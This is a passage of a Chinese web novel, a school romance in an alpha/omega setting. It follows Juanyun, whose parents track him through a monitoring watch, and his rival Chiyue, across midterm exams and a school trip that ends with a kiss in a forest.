那天晚上,她把隽云最近两个月的踪迹全部调出来了,发现隽云经常去城东一个alpha的家里,有一次甚至还待在那里过夜了。 这么晚还不回来,是不是又准备在那里过夜? 于是他们怒不可遏,通知他立刻回家,隽云刚进门,就被他们当着家里所有佣人们的面,狠狠地打了一巴掌。 伴随着响亮巴掌的是一句怒吼:“你知不知羞!?” 第二天他没有去上学,爸妈替他请了假,要他在家里好好反思。 第三天,也就是今天出门的时候,开车的司机、近身的保镖全部都换掉了,换成了他爸妈信得过的眼线。 他的自由再次被收束,他被密不透风的监视围起来了。 先前的谈判付之东流,管制的绳索再次被拉紧,房间里盖着监控的毛巾被扯下来,白天黑夜里闪烁着红点。 隽云脸色苍白地看着面前的课本,麻木地想,大概只有真的等他和叶馨言结婚了,生米煮成熟饭,他们才会真正愿意松开一点点对他的桎梏吧。 * 自从匙越生日过后,他们没有再单独见过面,说过话,偶尔再体育课上打个照面也没有打过招呼。 匙越能很明显地感觉到,隽云单方面在躲他,具体体现在他没有再回过他的消息,放学后碰不到面,上学的时候也很少再和他有视线交汇。 叶馨言又再次出现在隽云身边,而隽云没有再推开她。 于是两人又回到了最开始的状态,互相无视,只不过不再背着人私下里偷偷接吻了,而是真正像个陌生人一样不理睬。 就连文强都觉得不对劲,在私底下问他: “你不是和隽云的关系好起来了吗?怎么现在又变成这个样子,难不成你们吵架了?” “没吵架。”匙越心道,纯分手。 还是单方面的。 文强还在喋喋不休道:“小老弟,你是不是又惹到隽云了?他这个人不太记仇,如果不是非常让他生气的事情,他是不会那样的,你到底做了什么啊?和他道个歉事情也就过去了” 匙越笑了一声,其实他也想知道。 因为他对他做了那样的事,所以他生气了? 但是他每每回想隽云当时的表情,总觉得不是生气。 直到大半个月过去,他才有机会问他。 那是一个星期五上午,老棠在班里宣布马上要举行期中考,考完学校会组织高三年级的学生去一个景点游学。 下午他们就在一个青少年峰会活动的后台遇到了。 隽云作为校企联办的特邀发言人,站在后台准备上台,而匙越作为主办方一员,站在他的旁边,要和他沟通一些细节。 问完一些专业的话后,匙越看着他的侧脸,问他:“为什么躲着我?” 隽云眼睫一颤,他的面庞白皙干净,单眼皮平直绷紧成一条线,他没说话。 “你生气了?” 隽云才终于抬眼:“生什么气?” 那就不是因为那天的事。 匙越说:“那你为什么不回我消息?” 隽云沉默下来,他冷嗤一声:“本来就不熟。” “是啊,陌生人,”匙越轻声:“亲过嘴的陌生人。” “”隽云猛地转头看他。 周围很多人,幸好刚才匙越是用气声说的,没有人听到。 匙越看着他,隽云心跳徒然快了一拍,不过很快就压下去了,他下意识抬手看了眼手表,还好,还在可控的范围内,它不会发出响声警告。 耳朵慢慢腾上一股热意,他面无表情地说:“闭嘴。” 好半响,二人都没再说话,有人偷拍下他们的背影传到“团结友爱,互抱大腿”群聊。 [嘶,隽爷这西装笔挺的薄背,这长腿真是斯哈斯哈] [旁边那人好高啊,这小麦色的皮肤,这背肌,这手,感觉能掐死我。] [等等,这不是匙越吗?] [冒个泡,说个会被打死的话,他俩还挺配的] [加一(父母健在,已知隽云有未婚妻他俩不熟,尿哑光家里也有镜子,纯粹是欣赏长相身材磕一下cp)] [怎么回事?上次隽云拽匙越走的时候就觉得涩涩的了,现在又站在一起了? [怎么两个人总是站在一起。] 他们并肩站着看着台上的主持人用流利的英文介绍此次青少年峰会,匙越问他: “紧张吗?” “还好。”隽云说:“习惯了。” 想什么来,隽云说:“快要期中考了。” 已经十月底了,他们即将引来这学期的第一次正式大考。 星耀中学和普通高中不一样,不需要参加严格意义上都高中升大学的考试,更注重国际接轨地培养人才,所以主要就只有期中考和期末考比较重要。 他顿了顿,明知道不能说了,但是他还是说:“祝你考出好成绩。” 因为这对社会招考生很重要。 期中考和期末考的奖金都很丰厚,他希望他能拿到。 “那我要当年级第一。”匙越开玩笑:“你打算让给我吗?” 这番话果然吸引了隽云的注意,他微微侧过脸,目光落在他的脸上: “你想要我让给你吗?” 他又想起来九月份那燥热的月份,到了最后几天治疗期限,他们接吻的过后的午后,隽云几乎总是在问他有没有想要的,他也总是说没有。 最后那张黑金卡也没有送出去。 匙越出声,打断了他的回忆:“开玩笑的,年级第一我会自己拿来,你最好也别让我。” 隽云:“好啊,那你要努力了。” 星耀的学生还没上幼儿园家里人就会给他们请私教了,不是智商有问题成绩都不会差到哪去,所以很多社会招考生考来星耀之后,在巨大的压力下,成绩排名也不一定有多前面。 更何况要拿年级第一,不是一件易事。 隽云从小到大循规蹈矩样样都是第一名,他没有遇到过对手,高一遇到的一个alpha原本有实力和他争一争第一的,最终因为某些原因,他被开除了。 隽云就一直从高一开学到高三,都稳坐第一的宝座没有下来过了。 一转眼主持人的开场词接近尾声,准备到隽云上台了。 “到你了,”匙越说:“祝你顺利。” “谢谢。”生疏又客套的话,安全又疏离的社交距离。 隽云面色从容地离开他身边,结束这段半个月以来的第一场对话,他上台了。 匙越看着他的背影走上台阶,隽云从小受到的礼仪教育很好,不论在什么场合,总是背脊挺直步伐端正的。 黑色的监控手表掩映在袖子之上,隽云单手拿着话筒,正在进行全英文演讲,流利的英语没有丝毫卡顿,非常地道,举手投足自信又从容,让人挑不出任何错。 室内开了暖气,隽云穿着西装外套,里面是衬衫,清清瘦瘦地站在台上,他一边在台上演讲,视线划过场下的观众,在某个人身上停留了几秒。 匙越不知道什么时候从侧台走到了观众席中间,耳钉很显眼,吸引了他的目光,那是银色的莫比乌斯环,里面紫钻闪耀出细碎光芒。 匙越单手插着兜站在台下,散漫地看着他,他穿着一件黑色的卫衣,衣服领口很大,一条银色的链条戴在脖颈上,压着锁骨没入了衣领之中。 那后半段链条长什么样他闭着眼都能描绘清楚。 本来应该装作毫不在意的,但是隽云突然就结巴了一下。 虽然只有几秒。 匙越的舌尖顶了一下上颚,眉梢轻挑,嘴角缓缓上扬,他露出了一点笑意—— 作者有话说:明明就放不下。 分不了一点,下一章又会搞到一起去了,别伤心[星星眼],评论区发一百个小红包[垂耳兔头] 第39章 第三十九章 “我自己来。”…… 十一月初, 期中考试很快来临,由于星耀中学本来就是单人座位,因此考试的时候他们不需要移桌子, 只需要把桌子里的东西清空,书本搬到教室后面或者放到讲台前面。 隽云搬了一摞书后, 剩下的书陆思华就过来帮他搬了,他一向人很好。 文强感慨:“陆思华你什么时候能来帮我搬搬啊,我的手都要累瘫了。” “等会。” “等会儿我都自己搬完了!”文强抓狂:“陆思华你偏心!!!” 柳元誉唇角一勾:“明明是三个人的电影, 你却不配拥有姓名。” 文强看他还能撑着下巴在一摞摞的书上悠闲唱歌, 指责道:“这么闲呢,就您不搬, 柳大爷。” “这种事情,需要我亲自动手?” 柳少爷打了个响指,外面站着的两个人进来, 看上去都是社会招考生。 一个女生绑着双马尾,低着头戴着旧手套局促地站着,旁边是一个寸头beta,穿着水洗发白的蓝色衬衫。 他点了点桌上的书,又指了一下讲台上的某个位置, 颇有纨绔那味: “一本一千, 搬完结账。” 双马尾女生不吭声,寸头男生眼睛一亮,他撸起袖子:“好啊好啊。” 两个人开始充当苦力活帮他搬运。 “真是万恶的资本主义啊。”文强感叹。 陆思华搬着几本书放到讲台上,这时刚巧有另一个人也搬书放在隽云的书旁边,故意擦过他的身体撞了撞他的肩膀,他侧过头看去,是匙越。 匙越的尾音拖得又轻又长:“还挺乐于助人啊?” “”陆思华喊住他, 警告似地:“匙越。” 匙越停住脚步,转过身来:“有事?” 陆思华:“他不是你的。” 匙越唇角轻扬,觉得他很有趣:“那你早八百年去哪了?” 此话一出,陆思华顿时不说话了。 下了讲台,文强奇怪道:“喂,陆思华,你刚刚和匙越说什么啊?看起来那么凶,要打起来了一样。” 陆思华说:“没什么。” 期中考试持续三天,成绩很快就出来了。 高三年级的成绩张贴在一楼的墙壁上,红底黑字,依据排名和成绩往下排了不到两百个人。 隽云习惯性地看向第一栏,名字却不是自己,他愣了一下,然后顺着第一名的名字往下看,第二名——隽云。 再往看第一名,没看错,是匙越。 他们的总成绩差了0.5分。 第三名和隽云差了三十多分。 前十名有好几个熟悉的名字,陆思华第八,方悦礼第九,武佟第十,然后他瞥了一眼倒数,也看到几个熟悉的名字,柳元誉第一百一十三名,文强还排在柳元誉后面,差不多倒数十名之内了。 星耀中学按照家世和成绩分班,这两个人成绩实在不行,但奈何柳家富甲一方,和A国国力都不相上下,财力相当强悍。 至于文强,他家是整个A国最大的媒体集团,两年多以来出了很多星耀中学的红稿、采访、专栏节目。 所以他俩三年来始终留在1班,座位还特别好,也是到了反正有家底兜着,不用看成绩的程度了。 反正在星耀中学读书不用参加全国性升学考试,怎么样都有好大学读,因而文强对他的学习一向不太上心,倒数就倒数。 回看第一名,隽云的心情有点复杂,更多的是惊讶。 他没想到匙越真的能把他压下去,虽然就差零点五分,这是他第一次,没有当第一。 周围越来越多人围了过来,议论声也越来越大,四周哗然: “我去,什么鬼,这个第一是谁?” “啊?匙越这么强的吗?” “这个社会招考生居然把隽云挤下来了。” “天啊,这么牛逼?” “怀疑是不是判卷判错了。” “我也觉得。” “明明是不分伯仲,我隽爷还是厉害。” 星耀中学的学生大多都瞧不上社会招考生,只有文强泪流满面,不知道在感动什么:“我就知道越仔一定行的!” 隽云:“” * 酒吧灯球闪烁着五颜六色的光芒照,依旧是老地方,几个人坐在角落的皮质沙发上,他们坐的位置相比其他地方要昏暗,气势十足,不像是正经人,不少来酒吧喝酒玩闹的人视线偷偷看向他们。 一个高大的男生从外面走进来,里面的人见到他后都从座椅上站了起来。 “老大。” “老大。” 匙越目光浅淡地从他们身上瞥过,他穿着一件立领衣服,肩膀有两条黑色条纹,手上拎着一瓶矿泉水,丟到桌上 看上去心情不是很好地应了一声:“嗯。” 好几个人站着,他们把位置让出来给匙越坐,自己坐到了旁边的沙发上。 匙越径直坐下,他拿出手机,打开和隽云的聊天框,刷新一下,发现他依旧没有回他。 幽幽的蓝色屏幕倒映出他此刻神色越来越不悦的脸,指尖往上翻,清一色的蓝色气泡,全是他这边发的消息。 隽云一条都没有回。 明叔坐在匙越的对面目睹了一切,匙越外套拉链拉到最顶上,盯着手机屏幕,薄削的下巴微抬,脸上的表情比平常要阴冷很多。 他试探地问:“这个人,对你来说很重要吗?” “对我来说是。”匙越收起手机,冷笑了一声说:“可对他来说不是。” 说完更让他不爽了。 旁边的小弟们眼观鼻鼻观心,生怕他发火。 “这个人有眼不识泰山!” “就是就是。” “这个人简直就不识好歹。” “不值得您主动找他。” “这种人我看就还是算了吧,没必要交好。” “闭嘴,你们懂什么?”匙越冷冷地说,于是那些人顿时噤若寒蝉。 把手机往桌上一丟,也懒得看有没有回他了,他跟对面的明叔说起正事: “对了,昨天期中考我拿了第一,闵荣约我出去吃饭,他说决定认回我了。” 明叔脸上一喜,他一拍大腿:“他娘的,他终于打算认回你了?” 旁边参与这件事的小弟们听了也惊讶激动地围过来问: “真的吗老大?” “真的假的?” “那简直太好了。” 匙越冷笑:“星耀中学期中考,隽云考了第二,我压了隽家一头,他怎么不高兴?自从这学期我转学成功,在他那里越来越有价值了,他巴不得早点认回我。” “那”明叔犹豫道:“那何苑呢?” 何苑是他生父的现任妻子,一个愚蠢又恶毒的beta,百般阻挠匙越回到闵家,不过好在他们已经拿捏住了她的把柄,让她不得不在闵荣面前松口让他回闵家。 匙越厌恶地冷笑:“她在外面偷人的照片不是已经发给她看了?有这个把柄在,她不敢再轻举妄动。” “好。”明叔:“等你拿到闵家大权了,我就找个机会,把她做掉。” “等晚点再做了她。”匙越神情冰冷:“我要她亲自跪在我妈面前谢罪。” * 星耀中学组织期中考后去游学,地点选定了隔壁s市的一个具有丰富的历史和文化底蕴的地方。 坐着长途大巴开了五六个小时的车,车道颠簸摇晃了许久他们才到达目的地。 三辆大巴首尾相停,学生们下了大巴后三两成群地聚在一起议论纷纷。 他们面前是一个开阔的广场,八百米开外的地方有一个白色建筑大堂,不远处有一个飘逸的金色雕塑旁边写着军旅文化园。 熙熙攘攘加上师生两百个人从几辆大巴车上下来,他们背着书包和行李被引导前往大堂用餐。 一下大巴叶馨言就黏到隽云面前来,她关切地问隽云:“隽云~~你渴不渴呀?” 隽云脸色苍白地摇摇头,拒绝了。 他不渴,只是因为长途坐车太久了,饿的胃有点难受了。 匙越在他的斜后方位置托着行李箱看着他,知道他现在肯定不太舒服。 毕竟中午饭都不吃。 他和他是一辆车的,座位就隔着一排,中午大巴在路边停了一个小时,生活委员发放盒饭给大家,在发到隽云的时候,他没接,说是不饿。 但是匙越知道这人挑食,中午不吃饭是因为冬瓜炒肉里面有葱花,虾也不是很新鲜的虾了,死虾裹着面包糠油炸的,看着就油腻,所以他宁愿饿着也不吃。 实在是一个挑食又很难伺候的人。 娇气到了极点。 现在差不多快下午五点了,老师带领他们进入大堂稍微参观了一下内部后就带他们去餐厅吃饭了。 班长组织他们班的人一起吃个饭,等班里的同学把行李放回酒店的再下来的时候,匙越和几个班委已经把餐都点好了。 半个学期下来班里的人大多都对匙越这个人没什么意见了,匙越长得高大帅气,而且做事也十分靠谱到位,到底都是半大的孩子,虽然有阶级划分,但是很多时候他们也是想和他一起玩的。 有几个人开了酒庆祝这是他们出来玩的第一晚,隽云走过去随便挑了个位置坐下,旁边左边也有人坐下了。 他一抬眼,是匙越。 不知道为什么这么空旷这么多位置的餐桌,非要挨着他做。 隽云起身,准备换位置,右肩膀被人按住了,他抬头一看,是陆思华。 陆思华淡声说:“就坐这吧。” 隽云:“” 班里的人都陆陆续续来了,文强自来熟地招揽几个人一起过来坐到陆思华旁边,他看了看菜,哀叹了一声: “不是吧?怎么这么清淡啊?!” 隽云看过去,还的真是很清淡,辣椒放的不多,一眼看过去看不到什么葱香菜蒜,虽然这样,不过花花绿绿琳琅满目,摆盘都还挺好看,还有鲜嫩的白灼虾、贝壳汤。 生活委员范哲佳说:“匙越说开两桌,一桌清淡一桌重口的。” “原来是匙主席安排的。”文强非常给面子地鼓掌。 隽云的手指微微蜷缩。 他只和匙越说过他喜欢吃什么。 隔壁的辣桌非常热闹,他们这桌反倒都在安安静静地吃。 隽云吃的很快,餐筷勺子却没有发出一丁点声响,非常优雅有礼仪。 十一月的天气有点冷,室内的空调稍微开的有点高了,吃到最后,他的额头出了点汗,把筷子放下,顿时,左右两边都传来抽纸的声音。 隽云一愣,紧接着两边都递过来了一张雪白的抽纸。 顺着右边递来的纸看到人,陆思华吃的优雅,甚至都没看他,手上递到他面前的纸似乎只是随意一抽,他接不接都没关系。 再看左边,匙越不知道什么时候早就吃完了,他目光专注,神情可怜,就差执着地摇尾巴了。 隽云:“” 完全不知道他们在争什么。 但是在这么灼热的视线里他的心跳快了一点,监视手表突然不合时宜地发出一声“滴——”响。 匙越的视线落到他戴的手表上,眸色漆黑,短促地笑了一声:“换手表了?” 隽云仿佛被兜头泼了一盆凉水,脸上的神色一下就冷淡下来了,他的手放下去,袖子遮住手表,淡淡地“嗯”了一声。 “什么时候换的新手表?” “不关你的事。”隽云说。 这时,陆思华的纸巾恰好往前递了递,提醒他:“隽云。” “谢谢。”隽云放在膝盖上的手抬起,准备接过陆思华递过来的纸。 就在这时,匙越一把按住他的手,把他截停了,按住他的肩膀把他转过来:“隽云,你的嘴巴上有个脏东西?” 他拿着纸很快在隽云的嘴角边擦了擦:“好了,现在没有了。” 他把纸递给他。 一套动作非常丝滑,不仅隽云没反应过来,陆思华也是。 完全没料到他会出这手,非常狡诈。 陆思华冷冷地看着他:“” 隽云只感觉好像有轻柔的云掠过嘴角,他僵在原地。 “滴——”监控手表发出一声短促的声音把他拉回现实,他接过匙越的纸巾,不小心又碰到了他的小拇指,于是很神色匆匆地说: “我自己来。” 隽云已经拿了匙越的纸了,于是陆思华只能将他的纸巾留在他的面前,什么都没说,继续吃饭了。 隽云擦了擦唇,虽然他并没有感觉到嘴角有什么东西。 从小到大他在各种宴会上从不会让食物沾到嘴角,但为了以防万一这次真的失礼了,他还是擦的很仔细。 匙越在他旁边单手撑着头侧着脸打量他的一举一动,眼里闪过一丝笑意,尾音拉得很长: “好了,现在没了。”—— 作者有话说:手表就跟那什么心动检测器一样,卷云最好藏好了,别被发现咯。 评论区发小红包[亲亲][亲亲] 第40章 第四十章 “心率这么高?” 回到酒店, 酒店大多是两人床,少数是单人床。 beta们两人一间房,alpha和omega人数比较少, 安排睡的单间。 隽云回到房间洗漱完之后,他坐在床上, 抬手,按了一下手表,已经处在息屏状态的手表亮起, 上面显示今天的记录。 监视手表上会显示他每日的行踪、停留时长、还有心率, 一旦发现异常,没过多久他爸妈就会打电话给他。 他的手指按了一下心率的键, 所幸今天有几个时间段心率异常,但是也只是比正常值稍微高一点点,所以他爸妈还不至于给他打电话。 不过这也是一个提醒。 下次可能就没有那么幸运了。 * 第二天在酒店大堂集合。 上午主要是听讲座, 下午有安排露营和野炊。 讲座有些枯燥,主要是介绍这里的历史,中午依旧在酒店吃饭,下午,众人集合, 去了露营和野炊场地。 那在一片树林旁边, 树林里有很多原木、壕沟、铁丝网等人工障碍物,一踏入露营的一片草地,文强就抱紧了隽云的胳膊,咩咩乱叫: “啊啊啊,我们等会儿不会被大炮打死吧?” 隽云:“可能会。” 文强:“那就让我们死在一起吧小云云!!!” 隽云:“” 全年级一百多个人集合听负责的老师讲完后,一部分人开始生火洗菜烧烤,一部分人开始准备扎露营帐篷。 隽云没有做过饭, 他被分配到和几个不认识的人一起烧烤,他在场地上扫了一眼,瞥到了匙越的身影,他正在给锅炉点火。 没有和他分到一起,正和他意。隽云心想。 等烧烤架架好后,他拿起一串和辣椒串在一起的肉串放在烧烤架上,然后被阻止: “诶等等!隽云,这个还没刷油。” 隽云看着手上的肉串,恍然:“噢。” 还要刷油的。 他接过旁边人递来的刷子,在烤串上刷了非常多下,又觉得不够,沁了一下油碗。 等到放到烤架上的一瞬间火光瞬间就冲了上来。 旁边几人惊呼着躲避,隽云手一抖,松了手。 旁边的人赶紧拿其他还没考的蔬菜扑到那串火光上去,白菜、茄子都丢上去,拿韭菜使劲地扇,总算把火扑灭了,只是那串肉串的木签子黑了,烧断了都拿不起来了。 隽云感觉有点棘手,疑惑地问旁边的人:“现在应该怎么办?” 旁边的几个人面面相觑 隽云被赶出了烧烤摊,礼貌来说是被含蓄地请走了,建议他去遮阳帐篷底下等着吃就好。 蓝天白云,太阳有些大,到显得天气没那么冷了,看着同学们忙忙碌碌的身影,隽云去遮阳帐篷底下坐着了,他呼出一口气,带着白气。 陆思华扎完露营帐篷后来找他,递给他一瓶果汁。 隽云伸手接过:“谢谢。” 喝了几口之后他放到桌子上,抬起手表,在上面点了点。 手表显示他的定位距离家的定位有210公里,大约五个小时二十分钟,他已经走了三千步,上面显示他走过的每一段路都用红线标粗了。 陆思华戴着黑色墨镜,他看过来:“在看什么?” “没什么。”隽云收回手:“看看手表。” 这边隽云和陆思华两人坐着,匙越在另一边做饭忙活。 他把水倒进去,然后在等水开的时候往隽云的烧烤摊那边望了一眼,却没看到人,视线一转,隽云和陆思华两人正背着他坐在椅子上有说有笑。 匙越的脸色一下就沉下来了。 隽云看着天色,分明是还算和煦的日头,却无端从后背爬上来一股阴冷感。 又降温了。 他皱了皱眉,把校服衣领链子往上拉了一点,幸好星耀中学的校服都十分有型且保暖。 日头渐渐暗下来,坐了半个小时后,饭做好了,烧烤也烤好了,众人呼朋引伴好不热闹,隽云和陆思华去锅炉那边,有人递给他们两个铁碗。 顺着遒劲有力布满青筋的手臂往上看,是匙越似笑非笑的眼神:“吃饭了。” 隽云愣了一下,然后接过:“谢谢。” 锅炉里煮的是面条,面打好了之后,见桌上有调味酱,隽云就挤了一点点辣酱放在面里面。 “你不是不吃辣吗?”陆思华问。 隽云说:“现在吃一点。” 夜幕逐渐降临,挂在树上的星星灯亮起,照亮这群在树林周围休息打闹的高中生们。 燃起的篝火逐渐熄灭,吃完后所有人都瘫在椅子上看星星,聊天。 餐桌上摆满零食,附近有人偷偷带了罐装啤酒,趁老师们也聚在一起聊天,没有注意他们,于是递了几罐酒传递过来。 匙越坐在他的斜对面,酒传递到他们这里的时候隽云也拿了一罐,正巧有点渴了,还有点心烦,他撬开易拉罐环,“嗤”的一声,然后仰头一倒,冰凉的酒液就顺着咽喉灌了下去。 “咕咚咕咚。” 旁边的文强看着他目瞪口呆:“隽云你这么猛啊?一口气干完。” 隽云仰着头,喉结上下滑动,这个酒是啤酒,相比起惯常喝的红酒度数还是很低的。 喝完后,他将罐子一倒,一滴酒液滴下来。 隽云眯了眯眼睛,面庞白皙干净,他转头问:“怎么样?” 文强比了个大拇指给他:“你是这个。” 隽云的眼角眉梢隐约挂上了得意,眼睫稍微抬高了一点,往匙越的位置飘了一眼,只是他没想到,匙越一直倚靠着椅子在看他。 隽云一愣,还没来得及收回视线,匙越就笑了一声,灯光碎进瞳孔里,对他做了个口形:“少喝点。” “” 关他什么事。隽云心想。 他移开视线,手指捏着易拉罐,面无表情,只是耳根先红,觉得星耀的校服有点厚,不然他怎么感觉热起来。 周围闹哄哄的,有人在暖黄的星星灯下的草坪上坐着唱歌,三两成群的omega和alpha们挥着手里的东西陪唱,氛围很好。 餐桌是按班级坐的,叶馨言不知道从什么地方跑过来要坐他旁边,颐指气使地把隽云的旁边人赶走了,骄傲地坐在他的旁边。 迟来的酒意热气上涌,隽云听了一会儿后就起身,准备在附近走走。 手臂被人拉住了,他转头一看是叶馨言。 叶馨言扬高声音:“你去哪?” 隽云把她的手挥开了:“去散散心。” “我陪你。”说完她就作势要起来。 隽云:“不用,别跟过来。” 树林里有许多弯曲的小道,每隔隔十几米开外地面就有一台照明灯,在小道上走着到处都能看到仿真战壕、掩体、碉堡等,近距离看着十分威严。 欣赏了一会儿战斗模型装备,东逛逛西看看,隽云很快就忘了时间,他抬脚又准备继续走一会儿的时候,突然想起来一个问题,现在几点了。 看了一下手机,显示晚上九点了。 他在原地愣了几秒才反应过来,太晚了。 然而当他在原地站着朝四周看去,很快就发现了一个事实,这四周的景色都别无二致,阡陌交通,小道交杂着小道。 “” 他找不到回去的路了。 这一想法一冒出来,眼前的场景似乎都变了,刚才还庄严肃穆的场景一下就变得阴森起来,寂静无声,到处都是高大的树木,遮天蔽日,脚边的绿色遮掩网布也像一条蛇一样静静匍匐在脚边,灯光亮着却寂静无声,没有月亮也看不到星星,整个世界像在头顶上悬着静静地俯视他。 拿出手机,刷新了一下发现居然没有信号,隽云后知后觉,有一点迟来的后悔喝了酒,现在头有点晕,很难找到方向出去了。 各班班长负责清点班里的人,学生会的人则是要将露营场地的环境收拾整理好,班长武佟站在稍微高的一个坡上开始点名,其余的人被点到后站成一排。 “范哲佳。” “到。” “闵术。” “到。” “隽云。” 没有人回应。 “隽云?” “隽云呢?” 众人纷纷看向四周,但是也没有看到隽云的身影。 “奇怪。”班长在隽云的名字后面打个叉,先念其他人的名字了。 匙越戴着学生会主席的牌子,正弯着腰捡起倒地的椅子,蓝色的绳索在空中晃荡,没有听到隽云的回应,他巡视一圈场内,“啪”一下将折叠椅合起,递给另一个学生会成员 树林小路很多,以前是拿来给特种兵训练用的,现在荒废了但是训练的装备保留了下来,要完全走完需要走两个小时。 越晚似乎蚊虫就越多,不过这里相比起他妈妈葬着的那片森林,总归还是有序许多,有灯,还有脚印踩出来的黄土小道,隽云迟迟没有回来,就不可能在大路了,于是匙越往树林深处走。 最终他是在一棵树下找到的隽云。 隽云蹲在树下,看到一双鞋子出现在他面前,抬头看过去,发现是匙越。 他的脸色苍白,刚才闭着眼靠在树旁边,此刻睁眼的时候眼底有水光,看到了匙越的时候以为是幻觉,就这么一眨不眨地看着他。 “滴滴滴——” 手表发出一连串的尖锐警报声。 匙越从上而下审视地打量他,似乎终于明白了那个手表为什么总是会响,他的嗓音低沉醇厚: “看到我,你这么激动吗?” 隽云脸上浮现一抹红,比起刚才的苍白终于生动许多,他双唇微张,想要否认,但是听到了匙越的声音,他的手表要碎掉似地,发出了比刚才更高一级的警告声。 “滴滴滴滴滴滴滴滴滴——” 急促密密麻麻的警告声是他的心跳和呼吸声,完全和他同频。 “!!!” 隽云这才猛地发觉,眼前的匙越是真的,而他的手表在完全不加掩饰地在告诉对方他的感受。 匙越扫了一眼手表屏幕上显示的心率:“心率这么高?” 他饶有兴致地俯身,他的身影、面庞牢牢地占据隽云的视线,猛地抓住隽云想要藏在后面的手腕,拉高了: “什么意思。” 两个人挨得近,呼出的白气交缠在一起,隽云的耳尖蓦地透红,热度一路攀升蔓延到脸颊,连鼻尖都泛起一层亮晶晶的汗。 隽云不说话,匙越拉着他的手腕,目光沉沉:“回答我的问题。” 手掌骤然收紧,捏出了红痕,他牢牢地盯着他,不肯给放过他的每一个表情,他要他亲自和他解释: “为什么一看到我,你的手表就会响。”—— 作者有话说:评论区发小红包[墨镜]《 》 40-50 第41章 第四十一章 “喜欢的人。” “隽云。” 一声不合时宜的中年男声从手表中传出, 打破了他们之间紧张的纠缠氛围。 匙越的手一松,隽云这才得以喘息一口气,他别开脸, 调整呼吸,他看了眼手表, 声音微微发哑:“喂?” 隽诉:“你在哪?这个点定位怎么不在酒店?” 匙越看着隽云耳垂上的粉一下褪了个干净,他的回话简单,语气十分冷淡, 应付地回话: “现在准备回去。” “在露营。” “因为刚才差点摔了。” “我没事。” 隽云和刚才找到他时整个人缩在树底下时的神色截然不同, 那时候的他脆弱的像一只盘缩在一起的小动物,柔软迷茫。 他可以在外人面前展露自己的脆弱, 却唯独在面对家人面前时,选择将那层保护壳穿上,将自己的真实心理、细微表情都隐藏冰封住, 展示他的淡漠和不在意。 等隽云将电话挂断了,两个人对视着,匙越说:“监控手表?” 隽云不说话,垂在身侧的手不自觉地收紧,他发现一个很可怕的事实——他现在完全暴露在匙越面前。 匙越一靠近他, 他就会心跳加速。 还被发现了。 但是他很难解释为什么会这样。 隽云紧抿嘴唇, 头发和眼睛乌黑,他侧着脸看其他地方没有看他,好半天,才组织好语言挤出一句话: “反正反正你就,别误会。” “确实误会了。”匙越理解地点头:“我还以为是因为你不想理我,才不回我信息的。” 隽云:“?” 怎么突然扯到了回消息这个事。 看来他真的很介意他不回消息啊。 隽云的耳朵有点烫,他不知道应该说是还是不是。 说不是的话显得他好像很在乎他, 其实很想理他,只是碍于父母的干涉,才不好联系他一样。 他找了个借口:“那是因为,你每天给我发的消息太多了,我不想回。” 事实上他不会不回别人消息,因为那是很不礼貌的行为,如果不是遇到了什么事情或者实在讨厌,他再忙都会回一个OK。 因此匙越肯定,他只对自己这样。 不讨厌,但就算他发再多消息,他都不回。 已读不回,不拉黑不删除,玩冷暴力? “行啊。”匙越看着他冷白的侧脸,点头:“那你不回消息我就每天都来找你。” “匙越!”这是隽云第一次叫匙越的名字。 他生平第一次觉得匙越这个人很棘手、很难搞。 他到底为什么要这么做,明明恢复陌生人的关系不是也很好吗!? 隽云转过脸来盯着他:“你不要以为,你是我的谁。” 匙越静静地看着他,他突然靠近,弯腰凑了过来。 隽云的瞳孔微微放大,下一秒,带着热度的吻就密密实实地压了下来,微凉的唇瓣被相碰,被焐热,隽云僵硬在原地。 几秒后,他猛地推开了匙越,脸色涨得飞红,抬手碰了碰自己的唇,上面还残留着匙越的信息素:“谁让你” 手表又开始响起来。 “滴滴滴滴滴滴——” “你干什么!?”隽云的声音高了几度,他擦了擦唇,上面还残存着匙越唇上的温度,温热而厚重地压下来,这种感觉即便他狠狠擦掉也挥之不去。 “没什么,就是想确认一下。”匙越彬彬有礼地说。 “滴滴滴—————” “现在确认了,你是喜欢的。” “”手表又开始狂响:“滴滴滴滴滴滴滴滴——” 下一秒,又有一个电话打过来了,隽云的耳朵通红,不得不点接听。 所幸刚才那次响声没有持续很久,所以隽诉打来问情况的时候听隽云说他只是差点又滑倒,没说什么就挂断了。 “嘟——”的一声,通讯切断,整个树林重新恢复寂静,隽云:“现在你满意了吗?” 在一片黄色地灯照亮的树林里,匙越笑了一声,没有回答他这个问题,反而问他:“你被监视着,对吗?” 还是被他猜到了。 隽云沉默下来。 匙越叹了口气,他说:“走吧,我带你出去。” 于是二人踩着杂草一深一浅地往前走。 隽云的校服贴身,冬天的冲锋衣有些鼓囊,脸色相比起刚才第一眼见到的时候要好了很多,只是眉还微微蹙着,走的很快,甚至超过了他。 直到站在一个分叉口,他才停下来,双手交叉,转头冷呼呼道:“怎么走?” 匙越指了一个方向,于是隽云和他保持着三个人的距离,埋头朝前走,白色的雾气从他的口鼻里哈出。 隽云闷头走在前面,其实他此刻头皮有些发麻。 只是不这样宣泄他的不满似乎显得很奇怪,他为什么不生气他突然亲他确认他的状态。 明明他们已经没有关系了。 他在匙越生日之后突然断联也不再理他,因为他们本来就是两个世界的人,他这么做也是为了保护他,毕竟他只是一个家境贫寒,无父无母的社会招考生。 他总是想起那天晚上在匙越妈妈的墓前,他告诉他他以前的学校挺不好的,所以很努力很拼才考上的星耀。 如果他退学了,那么他付出的努力算什么? 何况想到什么,隽云脸上的热意褪的一干二净,匙越是有喜欢的人的。 他甚至为了他考来星耀中学。 隽云的脚步速度放慢了,就在这时一瓶AD钙奶突然递到隽云面前。 “来的时候怕你等太久了饿,我给你带了点吃的。” 隽云猛地转过头,打掉他的AD钙奶说:“你能不能不要这样?!” AD钙奶在地上滚落,不明白他为什么发作,匙越歪了歪头,视线落在他的身上,眉毛扬起: “我哪样你了?” 他看向他的唇,微微恍然过来:“你说这个?” “?”隽云脸上热气上涌,差点又要心率飙上去了,气的飞快说:“不是!” 他控制着自己的呼吸,尽量让自己的表情冷静下来:“你既然有喜欢的人就不要对别人做这种事情,免得别人误会。” 喜欢的人? 别人? 这几个词怎么组合在一起的。匙越神色略微迷茫了一瞬,他说:“我没有喜欢的人。” 这回轮到隽云愣住了,没有喜欢的人? 怎么可能? “啊,抱歉,可能这句话说错了。”匙越懒散地笑了一声。 说不清是什么感受,松了一口气又或者有一股说不上来的失落。 看吧,他说自己都说他错了。 他其实就是有喜欢的人的。 